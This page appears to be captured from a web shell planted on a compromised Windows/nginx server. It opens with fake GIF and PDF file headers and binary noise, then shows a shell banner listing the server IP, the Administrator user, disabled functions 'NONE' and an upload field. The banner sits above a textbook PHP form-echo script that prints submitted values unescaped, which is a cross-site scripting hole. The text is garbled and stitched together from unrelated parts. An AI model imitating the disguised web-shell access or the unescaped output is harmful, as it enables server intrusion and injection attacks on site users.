GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/_Archive/MMDT1021/ExampleFiles/HTML6ed_examples/forms/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Processing Form Data</title> <style type="text/css"> code {color:#F00C4D;font-weight:bold;font-size:1.2em} i {color: #6D0CF0} th, td {padding:.1em;border:1px solid blue;text-align:left} p {font-size:.9em;font-style:italic} </style> </head> <body> <p>This is a very simple PHP script that outputs the name of each bit of information (that corresponds to the <code>name</code> attribute for that field) along with the value that was sent with it right in the browser window.</p> <p>In a more useful script, you might store this information in a MySQL database, or send it to your email address.</p> <table> <tr><th>Field Name</th><th>Value(s)</th></tr> <?php if (empty($_POST)) { print "<p>No data was submitted.</p>"; } else { foreach ($_POST as $key => $value) { if (get_magic_quotes_gpc()) $value=stripslashes($value); if ($key=='extras') { if (is_array($_POST['extras']) ){ print "<tr><td><code>$key</code></td><td>"; foreach ($_POST['extras'] as $value) { print "<i>$value</i><br />"; } print "</td></tr>"; } else { print "<tr><td><code>$key</code></td><td><i>$value</i></td></tr>\n"; } } else { print "<tr><td><code>$key</code></td><td><i>$value</i></td></tr>\n"; } } } ?> </table> </body> </html>